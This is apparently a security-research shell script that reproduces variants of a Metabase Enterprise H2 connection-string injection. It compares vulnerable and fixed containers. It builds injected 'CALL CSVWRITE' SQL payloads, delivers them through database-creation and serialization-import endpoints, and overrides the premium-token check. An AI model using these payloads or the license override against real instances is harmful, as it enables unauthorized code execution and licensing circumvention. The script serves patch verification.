#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VARIANT_DIR="$ROOT/vuln_variant"
ARTIFACTS="$VARIANT_DIR/artifacts/metabase-cve-2026-59826-variant"
mkdir -p "$LOGS/vuln_variant" "$ARTIFACTS"
cd "$ROOT"

MAIN_LOG="$LOGS/vuln_variant/reproduction_steps.log"
: > "$MAIN_LOG"
exec > >(tee -a "$MAIN_LOG") 2>&1

log() { printf '[%s] %s\n' "$(date -u +%Y-%m-%dT%H:%M:%SZ)" "$*"; }

write_runtime_manifest() {
  local confirmed="${1:-false}"
  local notes="${2:-attempt completed}"
  python3 - "$VARIANT_DIR/runtime_manifest.json" "$confirmed" "$notes" <<'PY'
import json, sys
path, confirmed, notes = sys.argv[1], sys.argv[2].lower() == 'true', sys.argv[3]
manifest = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "Bounded variant checks against POST /api/database and POST /api/ee/serialization/import, with a probe for /api/ee/advanced-config availability, using the same unsafe H2 escaped-semicolon connection-string sink as CVE-2026-59826",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": ["docker", "metabase-enterprise", "h2"],
  "proof_artifacts": [
    "logs/vuln_variant/reproduction_steps.log",
    "logs/vuln_variant/vuln_metabase.log",
    "logs/vuln_variant/fixed_metabase.log",
    "logs/vuln_variant/vuln_database_create.request.json",
    "logs/vuln_variant/vuln_database_create.response.json",
    "logs/vuln_variant/fixed_database_create.request.json",
    "logs/vuln_variant/fixed_database_create.response.json",
    "logs/vuln_variant/vuln_serialization_import.response.txt",
    "logs/vuln_variant/fixed_serialization_import.response.txt",
    "logs/vuln_variant/vuln_advanced_config_probe.response.txt",
    "logs/vuln_variant/fixed_advanced_config_probe.response.txt",
    "logs/vuln_variant/source_versions.txt"
  ],
  "notes": notes
}
with open(path, 'w', encoding='utf-8') as f:
    json.dump(manifest, f, indent=2)
    f.write('\n')
PY
}

cleanup_containers() {
  docker rm -f pruva-mb-cve59826-variant-vuln pruva-mb-cve59826-variant-fixed >/dev/null 2>&1 || true
}

on_error() {
  local status=$?
  log "Script failed unexpectedly with status $status"
  write_runtime_manifest false "script failed before completing bounded variant checks"
  cleanup_containers || true
  exit $status
}
trap on_error INT TERM

write_runtime_manifest false "attempt started"

if ! command -v docker >/dev/null 2>&1; then
  log "Docker is required for the real Metabase product variant checks."
  write_runtime_manifest false "docker command missing"
  exit 2
fi
if ! docker ps >/dev/null 2>&1; then
  log "Docker daemon is not reachable."
  write_runtime_manifest false "docker daemon unavailable"
  exit 2
fi

CACHE_REPO=""
MIRROR_DIR=""
if [ -f "$ROOT/project_cache_context.json" ] && command -v jq >/dev/null 2>&1; then
  PREPARED="$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)"
  CACHE_DIR="$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
  MIRROR_DIR="$(jq -r '.repo_mirror_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
  if [ "$PREPARED" = "true" ] && [ -n "$CACHE_DIR" ]; then
    CACHE_REPO="$CACHE_DIR/repo"
  fi
fi
if [ -z "$CACHE_REPO" ]; then
  CACHE_REPO="$VARIANT_DIR/artifacts/metabase-repo"
fi
if [ ! -d "$CACHE_REPO/.git" ]; then
  mkdir -p "$(dirname "$CACHE_REPO")"
  if [ -n "$MIRROR_DIR" ] && [ -d "$MIRROR_DIR/metabase.git" ]; then
    git clone "$MIRROR_DIR/metabase.git" "$CACHE_REPO"
  else
    git clone --filter=blob:none https://github.com/metabase/metabase.git "$CACHE_REPO"
  fi
fi
git -C "$CACHE_REPO" fetch --tags --force origin >/dev/null 2>&1 || true
VULN_TAG="v1.61.1"
FIXED_TAG="v1.61.2"
VULN_COMMIT="$(git -C "$CACHE_REPO" rev-list -n 1 "$VULN_TAG" 2>/dev/null || true)"
FIXED_COMMIT="$(git -C "$CACHE_REPO" rev-list -n 1 "$FIXED_TAG" 2>/dev/null || true)"
PATCH_COMMIT="74032e5e0a5a70dc45a6a744d37b9ba24eee8d01"
{
  echo "repository=https://github.com/metabase/metabase"
  echo "vulnerable_image=metabase/metabase-enterprise:v1.61.1"
  echo "fixed_image=metabase/metabase-enterprise:v1.61.2"
  echo "vulnerable_tag=$VULN_TAG"
  echo "vulnerable_tag_commit=$VULN_COMMIT"
  echo "fixed_tag=$FIXED_TAG"
  echo "fixed_tag_commit=$FIXED_COMMIT"
  echo "patch_commit=$PATCH_COMMIT"
} > "$LOGS/vuln_variant/source_versions.txt"
log "Source/image identity recorded in logs/vuln_variant/source_versions.txt"

DUMMY_PREMIUM_TOKEN="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
VULN_IMAGE="metabase/metabase-enterprise:v1.61.1"
FIXED_IMAGE="metabase/metabase-enterprise:v1.61.2"
log "Pulling product images $VULN_IMAGE and $FIXED_IMAGE if needed"
docker pull "$VULN_IMAGE" >/dev/null
docker pull "$FIXED_IMAGE" >/dev/null

mkdir -p "$ARTIFACTS/patch"
cat > "$ARTIFACTS/patch/start-metabase-with-test-token.sh" <<'SH'
#!/bin/sh
set -eu
cat >/tmp/pruva_metabase_entry.clj <<'CLJ'
(require 'metabase.premium-features.token-check)
(alter-var-root (var metabase.premium-features.token-check/check-token)
  (fn [_]
    (fn [& _args]
      {:valid true
       :status "active"
       :canonical? true
       :features ["database-routing" "serialization" "audit-app" "hosting" "advanced-permissions" "config-text-file" "workspaces"]})))
(require 'metabase.core.bootstrap)
(apply (resolve 'metabase.core.bootstrap/-main) *command-line-args*)
CLJ
exec java -cp /app/metabase.jar clojure.main /tmp/pruva_metabase_entry.clj
SH
chmod +x "$ARTIFACTS/patch/start-metabase-with-test-token.sh"

start_metabase() {
  local role="$1" image="$2" port="$3" log_file="$4"
  docker rm -f "pruva-mb-cve59826-variant-$role" >/dev/null 2>&1 || true
  log "Starting $role Metabase product container on shared worker network port $port using $image"
  local cid
  cid="$(docker create --name "pruva-mb-cve59826-variant-$role" \
    --network "container:$(hostname)" \
    -e MB_DB_FILE=/tmp/metabase.db \
    -e MB_SITE_NAME=Pruva \
    -e MB_JETTY_PORT="$port" \
    -e MB_PREMIUM_EMBEDDING_TOKEN="$DUMMY_PREMIUM_TOKEN" \
    -e MB_SEND_EMAIL_ON_FIRST_LOGIN_FROM_NEW_DEVICE=false \
    --entrypoint /bin/sh \
    "$image" /tmp/start-metabase-with-test-token.sh)"
  docker cp "$ARTIFACTS/patch/start-metabase-with-test-token.sh" "$cid:/tmp/start-metabase-with-test-token.sh"
  docker start "$cid" > "$ARTIFACTS/${role}_container_start.out" 2>&1
  : > "$log_file"
  ( docker logs -f "pruva-mb-cve59826-variant-$role" >> "$log_file" 2>&1 & echo $! > "$log_file.pid" ) || true
  for i in $(seq 1 120); do
    if curl -fsS --max-time 5 "http://127.0.0.1:$port/api/health" >> "$LOGS/vuln_variant/${role}_health.log" 2>&1; then
      log "$role health endpoint is reachable"
      return 0
    fi
    sleep 2
  done
  log "$role Metabase did not become healthy; tailing logs"
  tail -80 "$log_file" || true
  return 1
}

setup_admin() {
  local role="$1" port="$2" out_prefix="$3"
  local props token body session
  props="$(curl -fsS --max-time 20 "http://127.0.0.1:$port/api/session/properties")"
  printf '%s\n' "$props" > "$out_prefix.session_properties.json"
  token="$(python3 - <<'PY' "$out_prefix.session_properties.json"
import json, sys
with open(sys.argv[1], encoding='utf-8') as f:
    data=json.load(f)
print(data.get('setup-token') or data.get('setup_token') or '')
PY
)"
  if [ -n "$token" ]; then
    log "$role setup token obtained; creating admin via /api/setup"
    body="$(python3 - <<'PY' "$token"
import json, sys
token=sys.argv[1]
print(json.dumps({
 'token': token,
 'user': {'first_name':'Pruva','last_name':'Admin','email':'admin@example.com','password':'PruvaPassw0rd!'},
 'prefs': {'site_name':'Pruva CVE-2026-59826 Variant'},
 'database': None
}))
PY
)"
    curl -fsS --max-time 60 -X POST "http://127.0.0.1:$port/api/setup" -H 'Content-Type: application/json' -d "$body" > "$out_prefix.setup_response.json"
  else
    log "$role setup token absent; assuming instance already initialized"
  fi
  session="$(curl -fsS --max-time 30 -X POST "http://127.0.0.1:$port/api/session" \
      -H 'Content-Type: application/json' \
      -d '{"username":"admin@example.com","password":"PruvaPassw0rd!"}' | tee "$out_prefix.login_response.json" | python3 -c 'import json,sys; print(json.load(sys.stdin).get("id", ""))')"
  if [ -z "$session" ]; then
    log "$role failed to obtain session"
    return 1
  fi
  printf '%s' "$session" > "$out_prefix.session"
  log "$role admin session acquired"
}

find_sample_h2_database_id() {
  local port="$1" session="$2" out_prefix="$3"
  curl -fsS --max-time 30 "http://127.0.0.1:$port/api/database" -H "X-Metabase-Session: $session" > "$out_prefix.databases.json"
  python3 - <<'PY' "$out_prefix.databases.json"
import json, sys
with open(sys.argv[1], encoding='utf-8') as f:
    data=json.load(f)
items=data.get('data', data if isinstance(data, list) else [])
for db in items:
    if db.get('engine') == 'h2':
        print(db.get('id'))
        break
PY
}

make_malicious_db_value() {
  local marker="$1" attempt="$2"
  python3 - <<'PY' "$marker" "$attempt"
import sys
marker, attempt = sys.argv[1:]
def h2_quote(value):
    return "'" + value.replace("'", "''") + "'"
sql = "CALL CSVWRITE(%s,%s)=0" % (h2_quote(marker), h2_quote("SELECT 598260" + attempt))
print("file:/plugins/sample-database.db;USER=GUEST;PASSWORD=guest;TRACE_LEVEL_SYSTEM_OUT=1\\;%s" % sql)
PY
}

trigger_dataset_and_check_marker() {
  local role="$1" port="$2" session="$3" db_id="$4" marker_glob="$5" out_prefix="$6" marker_host="$7"
  python3 - <<'PY' "$db_id" > "$out_prefix.dataset_request.json"
import json, sys
print(json.dumps({"database": int(sys.argv[1]), "type": "native", "native": {"query": "SELECT 1"}, "parameters": []}))
PY
  curl -sS --max-time 45 -o "$out_prefix.dataset_response.json" -w '%{http_code}' \
    -X POST "http://127.0.0.1:$port/api/dataset" \
    -H "Content-Type: application/json" -H "X-Metabase-Session: $session" \
    --data-binary "@$out_prefix.dataset_request.json" > "$out_prefix.dataset_status.txt" || true
  log "$role dataset trigger for database $db_id HTTP status=$(cat "$out_prefix.dataset_status.txt" 2>/dev/null || true) body=$(head -c 500 "$out_prefix.dataset_response.json" 2>/dev/null || true)"
  sleep 2
  if docker exec "pruva-mb-cve59826-variant-$role" sh -c "ls $marker_glob >/dev/null 2>&1 && cat $marker_glob" > "$marker_host" 2>> "$out_prefix.marker_extract.log"; then
    log "$role marker created: $(tr '\n' ' ' < "$marker_host")"
    return 0
  fi
  return 1
}

attempt_database_create() {
  local role="$1" port="$2" session="$3" attempt="$4"
  local out_prefix="$LOGS/vuln_variant/${role}_database_create"
  local marker_container="/tmp/pruva_variant_${role}_database_create_marker.csv"
  local marker_host="$ARTIFACTS/${role}_database_create_marker.txt"
  rm -f "$marker_host"
  docker exec "pruva-mb-cve59826-variant-$role" sh -c "rm -f '$marker_container'" >/dev/null 2>&1 || true
  local db_value; db_value="$(make_malicious_db_value "$marker_container" "$attempt")"
  python3 - <<'PY' "$role" "$db_value" > "$out_prefix.request.json"
import json, sys
role, db_value = sys.argv[1:]
print(json.dumps({
  "name": "pruva-cve-59826-normal-create-" + role,
  "engine": "h2",
  "details": {"db": db_value},
  "is_full_sync": False,
  "is_on_demand": False,
  "auto_run_queries": False
}))
PY
  log "$role candidate 1: POST /api/database with unsafe H2 details"
  curl -sS --max-time 45 -o "$out_prefix.response.json" -w '%{http_code}' \
    -X POST "http://127.0.0.1:$port/api/database" \
    -H "Content-Type: application/json" -H "X-Metabase-Session: $session" \
    --data-binary "@$out_prefix.request.json" > "$out_prefix.status.txt" || true
  local status; status="$(cat "$out_prefix.status.txt" 2>/dev/null || true)"
  log "$role candidate 1 status=$status body=$(head -c 700 "$out_prefix.response.json" 2>/dev/null || true)"
  local db_id=""
  db_id="$(python3 - <<'PY' "$out_prefix.response.json"
import json, sys
try:
    data=json.load(open(sys.argv[1], encoding='utf-8'))
except Exception:
    print(''); raise SystemExit
print(data.get('id','') if isinstance(data, dict) else '')
PY
)"
  if [ -n "$db_id" ]; then
    trigger_dataset_and_check_marker "$role" "$port" "$session" "$db_id" "$marker_container" "$out_prefix" "$marker_host" && return 2
  fi
  return 0
}

attempt_serialization_import() {
  local role="$1" port="$2" session="$3" attempt="$4"
  local out_prefix="$LOGS/vuln_variant/${role}_serialization_import"
  local work="$ARTIFACTS/${role}_serdes_work"
  local archive="$ARTIFACTS/${role}_serdes_h2_import.tgz"
  local db_name="pruva-cve-59826-serdes-${role}"
  local marker_container="/tmp/pruva_variant_${role}_serdes_marker.csv"
  rm -rf "$work" "$archive" "$ARTIFACTS/${role}_serialization_marker.txt"
  mkdir -p "$work/databases/$db_name"
  printf '{}\n' > "$work/settings.yaml"
  local db_value; db_value="$(make_malicious_db_value "$marker_container" "$attempt")"
  python3 - <<'PY' "$work/databases/$db_name/$db_name.yaml" "$db_name" "$db_value"
import sys, datetime
path, name, db_value = sys.argv[1:]
# Minimal serialization v2 Database entity. If this path is reachable, Database import's assert-not-h2! guard should
# reject it before any unsafe H2 details can be persisted or opened.
content = f'''serdes/meta:
- model: Database
  id: {name}
name: {name}
engine: h2
details:
  db: "{db_value.replace('\\', '\\\\').replace('"', '\\"')}"
created_at: "2026-07-17T00:00:00Z"
initial_sync_status: complete
is_full_sync: false
is_on_demand: false
auto_run_queries: false
'''
open(path, 'w', encoding='utf-8').write(content)
PY
  (cd "$work" && tar -czf "$archive" .)
  cp "$work/databases/$db_name/$db_name.yaml" "$out_prefix.request.yaml"
  log "$role candidate 2: POST /api/ee/serialization/import with crafted H2 Database archive"
  curl -sS --max-time 60 -o "$out_prefix.response.txt" -w '%{http_code}' \
    -X POST "http://127.0.0.1:$port/api/ee/serialization/import?continue_on_error=false&full_stacktrace=true&reindex=false" \
    -H "X-Metabase-Session: $session" \
    -F "file=@$archive;type=application/gzip;filename=serdes-h2.tgz" > "$out_prefix.status.txt" || true
  local status; status="$(cat "$out_prefix.status.txt" 2>/dev/null || true)"
  log "$role candidate 2 status=$status body=$(head -c 1200 "$out_prefix.response.txt" 2>/dev/null | tr '\n' ' ')"
  # If it was accepted, attempt to discover the imported DB and trigger the sink. A marker on the fixed version would
  # be a real bypass; ordinary rejection is the expected safe result.
  if [ "$status" = "200" ]; then
    local db_id=""
    for id in $(seq 1 60); do
      local body_file="$out_prefix.database_${id}.json"
      local status_file="$out_prefix.database_${id}.status.txt"
      curl -sS --max-time 15 -o "$body_file" -w '%{http_code}' \
        "http://127.0.0.1:$port/api/database/$id" \
        -H "X-Metabase-Session: $session" > "$status_file" || true
      if [ "$(cat "$status_file" 2>/dev/null || true)" = "200" ] && python3 - <<'PY' "$body_file" "$db_name"
import json, sys
try:
    data=json.load(open(sys.argv[1], encoding='utf-8'))
except Exception:
    raise SystemExit(1)
raise SystemExit(0 if data.get('name') == sys.argv[2] else 1)
PY
      then
        db_id="$id"
        break
      fi
    done
    if [ -n "$db_id" ]; then
      trigger_dataset_and_check_marker "$role" "$port" "$session" "$db_id" "$marker_container" "$out_prefix" "$ARTIFACTS/${role}_serialization_marker.txt" && return 2
    fi
  fi
  return 0
}

probe_advanced_config_endpoint() {
  local role="$1" port="$2" session="$3"
  local out_prefix="$LOGS/vuln_variant/${role}_advanced_config_probe"
  log "$role candidate scan: probe /api/ee/advanced-config runtime upload endpoint availability"
  curl -sS --max-time 20 -o "$out_prefix.response.txt" -w '%{http_code}' \
    -X POST "http://127.0.0.1:$port/api/ee/advanced-config/" \
    -H "X-Metabase-Session: $session" > "$out_prefix.status.txt" || true
  log "$role advanced-config probe status=$(cat "$out_prefix.status.txt" 2>/dev/null || true) body=$(head -c 300 "$out_prefix.response.txt" 2>/dev/null || true)"
}

record_container_identity() {
  local role="$1"
  docker inspect "pruva-mb-cve59826-variant-$role" > "$LOGS/vuln_variant/${role}_container_inspect.json" 2>/dev/null || true
  docker exec "pruva-mb-cve59826-variant-$role" sh -c 'ps -ef; echo ---; ls -l /app /app/metabase.jar 2>/dev/null || true; echo ---; cat /proc/1/cmdline | tr "\0" " "' > "$LOGS/vuln_variant/${role}_loader_evidence.log" 2>&1 || true
}

cleanup_containers
start_metabase vuln "$VULN_IMAGE" 33101 "$LOGS/vuln_variant/vuln_metabase.log"
start_metabase fixed "$FIXED_IMAGE" 33102 "$LOGS/vuln_variant/fixed_metabase.log"
setup_admin vuln 33101 "$LOGS/vuln_variant/vuln"
setup_admin fixed 33102 "$LOGS/vuln_variant/fixed"
VULN_SESSION="$(cat "$LOGS/vuln_variant/vuln.session")"
FIXED_SESSION="$(cat "$LOGS/vuln_variant/fixed.session")"

FIXED_MARKER=false
VULN_MARKER=false
if attempt_database_create vuln 33101 "$VULN_SESSION" 1; then rc=0; else rc=$?; fi; [ "$rc" = "2" ] && VULN_MARKER=true
if attempt_database_create fixed 33102 "$FIXED_SESSION" 1; then rc=0; else rc=$?; fi; [ "$rc" = "2" ] && FIXED_MARKER=true
if attempt_serialization_import vuln 33101 "$VULN_SESSION" 2; then rc=0; else rc=$?; fi; [ "$rc" = "2" ] && VULN_MARKER=true
if attempt_serialization_import fixed 33102 "$FIXED_SESSION" 2; then rc=0; else rc=$?; fi; [ "$rc" = "2" ] && FIXED_MARKER=true
probe_advanced_config_endpoint vuln 33101 "$VULN_SESSION"
probe_advanced_config_endpoint fixed 33102 "$FIXED_SESSION"

record_container_identity vuln
record_container_identity fixed
cleanup_containers

if [ "$FIXED_MARKER" = "true" ]; then
  write_runtime_manifest true "Confirmed bypass: at least one distinct entry point executed unsafe H2 SQL on fixed v1.61.2."
  log "Variant bypass confirmed on fixed Metabase Enterprise v1.61.2."
  exit 0
fi

write_runtime_manifest false "No distinct bypass confirmed: tested normal database creation and serialization import on vulnerable v1.61.1 and fixed v1.61.2; fixed marker=$FIXED_MARKER, vulnerable marker=$VULN_MARKER."
log "No variant bypass confirmed. Candidate entry points were blocked or unavailable on the fixed product."
exit 1
